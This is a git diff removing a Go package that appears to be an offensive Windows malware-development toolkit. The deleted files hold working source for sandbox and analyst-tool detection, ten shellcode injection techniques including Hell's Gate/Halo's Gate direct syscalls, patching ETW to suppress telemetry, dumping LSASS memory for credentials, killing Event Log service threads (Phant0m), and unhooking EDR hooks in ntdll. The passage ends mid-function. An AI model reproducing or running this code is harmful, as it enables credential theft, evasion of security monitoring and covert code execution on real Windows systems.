-
- return nil
-}
diff --git a/core/consts.go b/core/consts.go
deleted file mode 100644
index 531d832..0000000
--- a/core/consts.go
+++ /dev/null
@@ -1,81 +0,0 @@
-package core
-
-var drivers []string = []string{ // Sandbox drivers taken from https://github.com/LordNoteworthy/al-khaser
- "C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
- "C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
- "C:\\Windows\\System32\\drivers\\VBoxSF.sys",
- "C:\\Windows\\System32\\drivers\\VBoxVideo.sys",
- "C:\\Windows\\System32\\vboxdisp.dll",
- "C:\\Windows\\System32\\vboxhook.dll",
- "C:\\Windows\\System32\\vboxmrxnp.dll",
- "C:\\Windows\\System32\\vboxogl.dll",
- "C:\\Windows\\System32\\vboxoglarrayspu.dll",
- "C:\\Windows\\System32\\vboxservice.exe",
- "C:\\Windows\\System32\\vboxtray.exe",
- "C:\\Windows\\System32\\VBoxControl.exe",
- "C:\\Windows\\System32\\drivers\\vmmouse.sys",
- "C:\\Windows\\System32\\drivers\\vmhgfs.sys",
- "C:\\Windows\\System32\\drivers\\vmci.sys",
- "C:\\Windows\\System32\\drivers\\vmmemctl.sys",
- "C:\\Windows\\System32\\drivers\\vmmouse.sys",
- "C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
- "C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
-}
-
-var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
- "vboxservice.exe",
- "vboxtray.exe",
- "vmtoolsd.exe",
- "vmwaretray.exe",
- "vmware.exe",
- "vmware-vmx.exe",
- "vmwareuser",
- "VGAuthService.exe",
- "vmacthlp.exe",
- "vmsrvc.exe",
- "vmusrvc.exe",
- "xenservice.exe",
- "qemu-ga.exe",
- // Some extra processes (added by me)
- "wireshark.exe",
- "Procmon.exe",
- "Procmon64.exe",
- "volatily.exe",
- "volatily3.exe",
- "DumpIt.exe",
- "dumpit.exe",
-}
-
-var hostnames_list []string = []string{
- "Sandbox",
- "SANDBOX",
- "malware",
- "virus",
- "Virus",
- "sample",
- "debug",
- "USER-PC",
- "analysis",
- "cuckoo",
- "cuckoofork",
- "Cuckoo",
-}
-
-var usernames_list []string = []string{
- "sandbox",
- "virus",
- "malware",
- "debug4fun",
- "debug",
- "sys",
- "user1",
- "Virtual",
- "virtual",
- "analyis",
- "trans_iso_0",
- "j.yoroi",
- "venuseye",
- "VenusEye",
- "VirusTotal",
- "virustotal",
-}
diff --git a/core/createremotethread.go b/core/createremotethread.go
deleted file mode 100644
index 9d69060..0000000
--- a/core/createremotethread.go
+++ /dev/null
@@ -1,233 +0,0 @@
-package core
-
-import (
- //"fmt"
- "errors"
- "syscall"
- "unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-func CreateRemoteThread(shellcode []byte, pid int) error {
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
-
- GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
- OpenProcess := kernel32.NewProc("OpenProcess")
- VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
- VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
- CloseHandle := kernel32.NewProc("CloseHandle")
-
- var pHandle uintptr
-
- if pid == 0 {
- pHandle, _, _ = GetCurrentProcess.Call()
- } else {
- pHandle, _, _ = OpenProcess.Call(
- windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
- uintptr(0),
- uintptr(pid),
- )
- }
-
- addr, _, _ := VirtualAllocEx.Call(
- uintptr(pHandle),
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- windows.PAGE_READWRITE,
- )
-
- if addr == 0 {
- return errors.New("VirtualAllocEx failed and returned 0")
- }
-
- WriteProcessMemory.Call(
- uintptr(pHandle),
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- oldProtect := windows.PAGE_READWRITE
- VirtualProtectEx.Call(
- uintptr(pHandle),
- addr,
- uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
-
- CreateRemoteThreadEx.Call(
- uintptr(pHandle),
- 0,
- 0,
- addr,
- 0,
- 0,
- 0,
- )
-
- _, _, errCloseHandle := CloseHandle.Call(pHandle)
- if errCloseHandle != nil {
- return errCloseHandle
- }
-
- return nil
-}
-
-/*
-
-Hell's Gate + Halo's Gate technique
-
-*/
-
-func CreateRemoteThreadHalos(shellcode []byte) error {
-
- NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
- if err != nil {
- return err
- }
-
- NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
- if err != nil {
- return err
- }
-
- NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory")
- if err != nil {
- return err
- }
-
- NtCreateThreadEx, err := GetSysId("NtCreateThreadEx")
- if err != nil {
- return err
- }
-
- var addr uintptr
- regionsize := uintptr(len(shellcode))
-
- r1, err := Syscall(
- NtAllocateVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&addr)),
- 0,
- uintptr(unsafe.Pointer(®ionsize)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- syscall.PAGE_READWRITE,
- )
- if r1 != 0 {
- return err
- }
-
- Syscall(
- NtWriteVirtualMemory,
- uintptr(0xffffffffffffffff),
- addr,
- uintptr(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- 0,
- )
-
- var oldProtect uintptr
- r2, err := Syscall(
- NtProtectVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&addr)),
- uintptr(unsafe.Pointer(®ionsize)),
- syscall.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- if r2 != 0 {
- return err
- }
-
- var hhosthread uintptr
- r3, err := Syscall(
- NtCreateThreadEx,
- uintptr(unsafe.Pointer(&hhosthread)),
- 0x1FFFFF,
- 0,
- uintptr(0xffffffffffffffff),
- addr,
- 0,
- uintptr(0),
- 0,
- 0,
- 0,
- 0,
- )
-
- syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
-
- if r3 != 0 {
- return err
- }
-
- /*var addr uintptr
- regionsize := uintptr(len(shellcode))
-
- r1, err := Syscall(
- NtAllocateVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&addr)),
- 0,
- uintptr(unsafe.Pointer(®ionsize)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- syscall.PAGE_READWRITE,
- )
- if r1 != 0 {
- fmt.Println("x")
- return err
- }
-
- Syscall(
- NtWriteVirtualMemory,
- uintptr(0xffffffffffffffff),
- addr,
- uintptr(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- 0,
- )
-
- var oldProtect uintptr
- r2, err := Syscall(
- NtProtectVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&addr)),
- uintptr(unsafe.Pointer(®ionsize)),
- syscall.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- if r2 != 0 {
- fmt.Println("xx")
- return err
- }
-
- var hhosthread uintptr
- r3, err := Syscall(
- NtCreateThreadEx,
- uintptr(unsafe.Pointer(&hhosthread)),
- 0x1FFFFF,
- 0,
- uintptr(0xffffffffffffffff),
- addr,
- 0,
- uintptr(0),
- 0,
- 0,
- 0,
- 0,
- )
-
- syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
-
- if r3 != 0 {
- fmt.Println("xxx")
- return err
- }*/
-
- return nil
-}
diff --git a/core/enumsystemlocales.go b/core/enumsystemlocales.go
deleted file mode 100644
index 628cdd2..0000000
--- a/core/enumsystemlocales.go
+++ /dev/null
@@ -1,102 +0,0 @@
-package core
-
-import (
- "unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-func EnumSystemLocales(shellcode []byte) error {
-
- kernel32 := windows.NewLazyDLL("kernel32.dll")
- ntdll := windows.NewLazyDLL("ntdll.dll")
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
- EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
-
- addr, _, err := VirtualAlloc.Call(
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- windows.PAGE_EXECUTE_READWRITE,
- )
-
- if addr == 0 {
- return err
- }
-
- RtlMoveMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- EnumSystemLocalesEx.Call(
- addr,
- 0,
- 0,
- 0,
- )
-
- return nil
-}
-
-/*
-
-Hell's Gate + Halo's Gate technique
-
-*/
-
-func EnumSystemLocalesHalos(shellcode []byte) error {
-
- kernel32 := windows.NewLazyDLL("kernel32.dll")
- GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
- EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
-
- NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory")
- if err != nil {
- return err
- }
-
- NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory")
- if err != nil {
- return err
- }
-
- pHandle, _, _ := GetCurrentProcess.Call()
-
- var addr uintptr
- regionsize := uintptr(len(shellcode))
-
- r1, err := Syscall(
- NtAllocateVirtualMemory,
- uintptr(pHandle),
- uintptr(unsafe.Pointer(&addr)),
- 0,
- uintptr(unsafe.Pointer(®ionsize)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- windows.PAGE_EXECUTE_READWRITE,
- )
-
- if r1 != 0 {
- return err
- }
-
- Syscall(
- NtWriteVirtualMemory,
- uintptr(pHandle),
- addr,
- uintptr(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- 0,
- )
-
- EnumSystemLocalesEx.Call(
- addr,
- 0,
- 0,
- 0,
- )
-
- return nil
-}
diff --git a/core/etw.go b/core/etw.go
deleted file mode 100644
index 43a1dba..0000000
--- a/core/etw.go
+++ /dev/null
@@ -1,41 +0,0 @@
-package core
-
-import (
- "encoding/hex"
- "syscall"
- "unsafe"
-)
-
-func PatchEtw() error {
- ntdll := syscall.NewLazyDLL("ntdll.dll")
- procWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
-
- procEtwEventWrite := ntdll.NewProc("EtwEventWrite")
- procEtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
- procEtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
- procEtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
- procEtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
-
- dataAddr := []uintptr{
- procEtwEventWriteFull.Addr(),
- procEtwEventWrite.Addr(),
- procEtwEventWriteEx.Addr(),
- procEtwEventWriteString.Addr(),
- procEtwEventWriteTransfer.Addr(),
- }
-
- for i := range dataAddr {
-
- data, _ := hex.DecodeString("4833C0C3")
-
- procWriteProcessMemory.Call(
- uintptr(0xffffffffffffffff),
- uintptr(dataAddr[i]),
- uintptr(unsafe.Pointer(&data[0])),
- uintptr(len(data)),
- 0,
- )
- }
-
- return nil
-}
diff --git a/core/etwpcreateetwthread.go b/core/etwpcreateetwthread.go
deleted file mode 100644
index a9932ee..0000000
--- a/core/etwpcreateetwthread.go
+++ /dev/null
@@ -1,62 +0,0 @@
-package core
-
-import (
- "unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-func EtwpCreateEtwThread(shellcode []byte) error {
-
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
-
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
-
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
-
- addr, _, err := VirtualAlloc.Call(
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- windows.PAGE_READWRITE,
- )
- if addr == 0 {
- return err
- }
-
- RtlCopyMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- oldProtect := windows.PAGE_READWRITE
- VirtualProtect.Call(
- addr,
- uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
-
- thread, _, err := EtwpCreateEtwThread.Call(
- addr,
- uintptr(0),
- )
- if thread == 0 {
- return err
- }
-
- r, _, err := WaitForSingleObject.Call(
- thread,
- 0xFFFFFFFF,
- )
- if r != 0 {
- return err
- }
-
- return nil
-}
diff --git a/core/injection.go b/core/injection.go
deleted file mode 100644
index f436790..0000000
--- a/core/injection.go
+++ /dev/null
@@ -1,78 +0,0 @@
-package core
-
-import (
- "errors"
- "strings"
-)
-
-var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
-
-func Inject(shellcode []byte, technique string, pid int) error {
-
- // Check especified injection technique
- if (strings.ToLower(technique) == "createremotethread") || (strings.ToLower(technique) == "1") {
- err := CreateRemoteThread(shellcode, pid)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "createremotethreadhalos") || (strings.ToLower(technique) == "2") {
- err := CreateRemoteThreadHalos(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "createprocess") || (strings.ToLower(technique) == "3") {
- err := CreateProcess(shellcode, pid)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "enumsystemlocales") || (strings.ToLower(technique) == "4") {
- err := EnumSystemLocales(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "enumsystemlocaleshalos") || (strings.ToLower(technique) == "5") {
- err := EnumSystemLocalesHalos(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "fibers") || (strings.ToLower(technique) == "6") {
- err := Fibers(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "queueuserapc") || (strings.ToLower(technique) == "7") {
- err := QueueUserApc(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "uuidfromstring") || (strings.ToLower(technique) == "8") {
- err := UuidFromString(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "etwpcreateetwthread") || (strings.ToLower(technique) == "9") {
- err := EtwpCreateEtwThread(shellcode)
- if err != nil { // Handle error
- return err
- }
-
- } else if (strings.ToLower(technique) == "rtlcreateuserthread") || (strings.ToLower(technique) == "10") {
- err := RtlCreateUserThread(shellcode, pid)
- if err != nil {
- return err
- }
-
- } else {
- return errors.New("invalid shellcode injection technique!")
- }
-
- return nil
-}
diff --git a/core/lsass.go b/core/lsass.go
deleted file mode 100644
index e63e2b1..0000000
--- a/core/lsass.go
+++ /dev/null
@@ -1,75 +0,0 @@
-package core
-
-/*
-
-References:
-https://github.com/calebsargent/GoProcDump
-https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
-
-*/
-
-import (
- "os"
- "syscall"
- "unsafe"
-
- mproc "github.com/D3Ext/maldev/process"
-)
-
-func DumpLsass(output string) error {
- err := ElevateProcessToken()
- if err != nil {
- return err
- }
-
- all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
- if err != nil {
- return err
- }
- lsass_pid := all_lsass_pids[0]
-
- //set up Win32 APIs
- var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
- var MiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
- var kernel32 = syscall.NewLazyDLL("kernel32.dll")
- var OpenProcess = kernel32.NewProc("OpenProcess")
- var CreateFileW = kernel32.NewProc("CreateFileW")
-
- // error not handle because it's unstable
- processHandle, _, _ := OpenProcess.Call(
- uintptr(0xFFFF),
- uintptr(1),
- uintptr(lsass_pid),
- )
-
- // Create memory dump
- os.Create(output)
-
- path, _ := syscall.UTF16PtrFromString(output)
- fileHandle, _, _ := CreateFileW.Call(
- uintptr(unsafe.Pointer(path)),
- syscall.GENERIC_WRITE,
- syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
- 0,
- syscall.OPEN_EXISTING,
- syscall.FILE_ATTRIBUTE_NORMAL,
- 0,
- )
-
- ret, _, err := MiniDumpWriteDump.Call(
- uintptr(processHandle),
- uintptr(lsass_pid),
- uintptr(fileHandle),
- 0x00061907,
- 0,
- 0,
- 0,
- )
-
- if ret == 0 {
- os.Remove(output)
- return err
- }
-
- return nil
-}
diff --git a/core/phant0m.go b/core/phant0m.go
deleted file mode 100644
index e3ed98b..0000000
--- a/core/phant0m.go
+++ /dev/null
@@ -1,184 +0,0 @@
-package core
-
-import (
- "errors"
- "fmt"
- "syscall"
- "unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-func GetEventLogPid() (uint32, error) {
- var ssp windows.SERVICE_STATUS_PROCESS
- var dwBytesNeeded uint32
-
- scm, err := windows.OpenSCManager(
- nil,
- nil,
- windows.SERVICE_QUERY_STATUS,
- )
- if err != nil {
- return 0, err
- }
-
- eventlog, _ := syscall.UTF16PtrFromString("EventLog")
- svc, err := windows.OpenService(
- scm,
- eventlog,
- windows.SERVICE_QUERY_STATUS,
- )
- if err != nil {
- return 0, err
- }
-
- err = windows.QueryServiceStatusEx(
- svc,
- windows.SC_STATUS_PROCESS_INFO,
- (*byte)(unsafe.Pointer(&ssp)),
- uint32(unsafe.Sizeof(ssp)),
- &dwBytesNeeded,
- )
- if err != nil {
- windows.CloseServiceHandle(svc)
- windows.CloseServiceHandle(scm)
- return 0, err
- }
-
- return ssp.ProcessId, nil
-}
-
-// Recommended function
-func Phant0m(eventlog_pid uint32) error {
- return phant0m(eventlog_pid, false)
-}
-
-// This function does the same but also prints threads IDs
-func Phant0mWithOutput(eventlog_pid uint32) error {
- return phant0m(eventlog_pid, true)
-}
-
-// Main function
-func phant0m(eventlog_pid uint32, verbose bool) error {
- err := ElevateProcessToken()
- if err != nil {
- return err
- }
-
- ntdll := windows.NewLazyDLL("ntdll.dll")
- NtQueryInformationThread := ntdll.NewProc("NtQueryInformationThread")
-
- advapi32 := windows.NewLazyDLL("advapi32.dll")
- I_QueryTagInformation := advapi32.NewProc("I_QueryTagInformation")
-
- kernel32 := windows.NewLazyDLL("kernel32.dll")
- OpenThread := kernel32.NewProc("OpenThread")
- OpenProcess := kernel32.NewProc("OpenProcess")
- TerminateThread := kernel32.NewProc("TerminateThread")
- CloseHandle := kernel32.NewProc("CloseHandle")
- ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
- CreateToolhelp32Snapshot := kernel32.NewProc("CreateToolhelp32Snapshot")
- Thread32First := kernel32.NewProc("Thread32First")
-
- var hThreads uintptr
- hThreads, _, _ = CreateToolhelp32Snapshot.Call(
- windows.TH32CS_SNAPTHREAD,
- 0,
- )
-
- if hThreads == 0 {
- return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
- }
-
- tbi := PTHREAD_BASIC_INFORMATION{}
- te32 := windows.ThreadEntry32{}
- te32.Size = uint32(unsafe.Sizeof(te32))
-
- Thread32First.Call(
- hThreads,
- uintptr(unsafe.Pointer(&te32)),
- )
-
- for true {
- if te32.OwnerProcessID == eventlog_pid {
- hEvtThread, _, _ := OpenThread.Call(
- windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
- uintptr(0),
- uintptr(te32.ThreadID),
- )
-
- if hEvtThread == 0 {
- return errors.New("An error has occurred calling OpenThread")
- }
-
- NtQueryInformationThread.Call(
- uintptr(hEvtThread),
- 0,
- uintptr(unsafe.Pointer(&tbi)),
- 0x30,
- 0,
- )
-
- hEvtProcess, _, _ := OpenProcess.Call(
- windows.PROCESS_VM_READ,
- uintptr(0),
- uintptr(te32.OwnerProcessID),
- )
-
- if hEvtProcess == 0 {
- fmt.Println("2")
- return errors.New("An error has occurred calling OpenProcess")
- }
-
- if tbi.pTebBaseAddress != 0 {
- scTagQuery := SC_SERVICE_TAG_QUERY{}
-
- var hTag byte
- var pN uintptr
- ReadProcessMemory.Call(
- hEvtProcess,
- tbi.pTebBaseAddress+0x1720,
- uintptr(unsafe.Pointer(&hTag)),
- unsafe.Sizeof(pN),
- 0,
- )
-
- scTagQuery.processId = te32.OwnerProcessID
- scTagQuery.serviceTag = uint32(hTag)
-
- I_QueryTagInformation.Call(
- 0,
- 1, // ServiceNameFromTagInformation
- uintptr(unsafe.Pointer(&scTagQuery)),
- )
-
- if scTagQuery.pBuffer != nil {
- if verbose {
- fmt.Println(" Thread found:", te32.ThreadID)
- }
-
- TerminateThread.Call(
- uintptr(hEvtThread),
- 0,
- )
- }
-
- CloseHandle.Call(hEvtThread)
- CloseHandle.Call(hEvtProcess)
- }
- }
-
- err := windows.Thread32Next(
- windows.Handle(hThreads),
- &te32,
- )
-
- if err != nil {
- break
- }
- }
-
- CloseHandle.Call(hThreads)
-
- return nil
-}
diff --git a/core/syscall.go b/core/syscall.go
deleted file mode 100644
index 0890bed..0000000
--- a/core/syscall.go
+++ /dev/null
@@ -1,81 +0,0 @@
-package core
-
-import (
- "fmt"
- "syscall"
- "unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-// Receives function address and arguments
-func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
- errcode = bpSyscall(callid, argh...)
-
- if errcode != 0 {
- err = fmt.Errorf("non-zero return from syscall")
- }
-
- return errcode, err
-}
-
-func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
-
-func Execute(shellcode []byte) error {
- kernel32 := windows.NewLazySystemDLL("kernel32.dll")
- ntdll := windows.NewLazySystemDLL("ntdll.dll")
-
- VirtualAlloc := kernel32.NewProc("VirtualAlloc")
- VirtualProtect := kernel32.NewProc("VirtualProtect")
- RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
-
- // Allocate memory
- addr, _, _ := VirtualAlloc.Call(
- 0,
- uintptr(len(shellcode)),
- windows.MEM_COMMIT|windows.MEM_RESERVE,
- windows.PAGE_READWRITE,
- )
-
- if addr == 0 {
- return fmt.Errorf("VirtualAlloc failed and returned 0")
- }
-
- RtlCopyMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- )
-
- oldProtect := windows.PAGE_READWRITE
- // Protect memory
- VirtualProtect.Call(
- addr,
- uintptr(len(shellcode)),
- windows.PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
-
- // Execute shellcode
- _, _, errSyscall := syscall.Syscall(
- addr,
- 0,
- 0,
- 0,
- 0,
- )
-
- if errSyscall != 0 {
- return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error())
- }
-
- return nil
-}
-
-func WriteMemory(inbuf []byte, destination uintptr) {
- for index := uint32(0); index < uint32(len(inbuf)); index++ {
- writePtr := unsafe.Pointer(destination + uintptr(index))
- v := (*byte)(writePtr)
- *v = inbuf[index]
- }
-}
diff --git a/core/unhook.go b/core/unhook.go
deleted file mode 100644
index b1474a6..0000000
--- a/core/unhook.go
+++ /dev/null
@@ -1,239 +0,0 @@
-package core
-
-/*
-
-References:
-https://github.com/RedLectroid/APIunhooker
-https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
-
-*/
-
-import (
- "bytes"
- "errors"
- "fmt"
- "io/ioutil"
- "strings"
- "syscall"
- "time"
- "unsafe"
-
- "golang.org/x/sys/windows"
-
- "github.com/Binject/debug/pe"
-)
-
-// This function unhooks given functions of especified dll
-func ClassicUnhook(funcnames []string, dllpath string) error {
- kernel32 := syscall.NewLazyDLL("kernel32.dll")
- GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
- GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
- GetProcAddress := kernel32.NewProc("GetProcAddress")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
-
- // should be full path: C:\\Windows\\System32\\ntdll.dll
- lib, _ := syscall.LoadLibrary(dllpath)
- defer syscall.FreeLibrary(lib)
-
- for _, f := range funcnames {
- var assembly_bytes []byte
-
- procAddr, _ := syscall.GetProcAddress(lib, f)
-
- ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
- funcBytes := ptr_bytes[:5:5]
-
- for i := 0; i < 5; i++ {
- assembly_bytes = append(assembly_bytes, funcBytes[i])
- }
-
- pHandle, _, _ := GetCurrentProcess.Call()
-
- // Convert dll name to pointer
- lib_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
- moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
-
- func_ptr, _ := windows.UTF16PtrFromString(f)
- addr, _, _ := GetProcAddress.Call(
- moduleHandle,
- uintptr(unsafe.Pointer(func_ptr)),
- )
-
- // Overwrite address with original function bytes
- WriteProcessMemory.Call(
- pHandle,
- addr,
- uintptr(unsafe.Pointer(&assembly_bytes[0])),
- 5,
- uintptr(0),
- )
- }
-
- return nil
-}
-
-// Write to function address: 0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
-func PatchUnhook(func_to_unhook string) error {
-
- return nil // TODO
-}
-
-// Load fresh DLL copy in memory
-func FullUnhook(dllpath string) error {
-
- ntdll := syscall.NewLazyDLL("ntdll.dll")
- ProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
-
- dll_f, err := ioutil.ReadFile(dllpath)
- if err != nil {
- return err
- }
-
- pe_f, err := pe.Open(dllpath)
- if err != nil {
- return err
- }
- defer pe_f.Close()
-
- text_section := pe_f.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
- dllBytes := dll_f[text_section.Offset:text_section.Size]
-
- dll_load, err := windows.LoadDLL(dllpath)
- if err != nil {
- return err
- }
-
- handle := dll_load.Handle
- dllBase := uintptr(handle)
- dllOffset := uint(dllBase) + uint(text_section.VirtualAddress)
-
- var oldfartcodeperms uintptr
- regionsize := uintptr(len(dllBytes))
- handlez := uintptr(0xffffffffffffffff)
-
- runfunc, _, _ := ProtectVirtualMemory.Call(
- handlez,
- uintptr(unsafe.Pointer(&dllOffset)),
- uintptr(unsafe.Pointer(®ionsize)),
- syscall.PAGE_EXECUTE_READWRITE,
- uintptr(unsafe.Pointer(&oldfartcodeperms)),
- )
-
- if runfunc != uintptr(windows.STATUS_SUCCESS) {
- return fmt.Errorf("An error has occurred, ProtectVirtualMemory returned: %x\n", runfunc)
- }
-
- for i := 0; i < len(dllBytes); i++ {
- loc := uintptr(dllOffset + uint(i))
- mem := (*[1]byte)(unsafe.Pointer(loc))
- (*mem)[0] = dllBytes[i]
- }
-
- runfunc, _, _ = ProtectVirtualMemory.Call(
- handlez,
- uintptr(unsafe.Pointer(&dllOffset)),
- uintptr(unsafe.Pointer(®ionsize)),
- oldfartcodeperms,
- uintptr(unsafe.Pointer(&oldfartcodeperms)),
- )
-
- if runfunc != 0 {
- return errors.New("an error has occurred")
- }
-
- return nil
-}
-
-func PerunsUnhook() error {
- WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
-
- var si syscall.StartupInfo
- var pi syscall.ProcessInformation
- si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
-
- cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
- if err != nil {
- return err
- }
-
- err = syscall.CreateProcess(
- nil,
- cmdline,
- nil,
- nil,
- false,
- windows.CREATE_NEW_CONSOLE|windows.CREATE_SUSPENDED,
- nil,
- nil,
- &si,
- &pi,
- )
-
- if err != nil {
- return err
- }
-
- time.Sleep(800 * time.Millisecond)
-
- ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
- if ntd == 0 {
- return errors.New("an error has occurred while loading ntdll.dll")
- }
- addrMod := ntd
-
- ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
- if ntHeader == nil {
- return errors.New("an error has occurred while getting NT header")
- }
-
- time.Sleep(50 * time.Millisecond)
-
- modSize := ntHeader.OptionalHeader.SizeOfImage
- if modSize == 0 {
- return errors.New("an error has occurred while getting NT header size")
- }
-
- cache := make([]byte, modSize)
- var lpNumberOfBytesRead uintptr
-
- err = windows.ReadProcessMemory(
- windows.Handle(uintptr(pi.Process)),
- addrMod,
- &cache[0],
- uintptr(modSize),
- &lpNumberOfBytesRead,
- )
-
- if err != nil {
- return err
- }
-
- e := syscall.TerminateProcess(pi.Process, 0)
- if e != nil {
- return e
- }
-
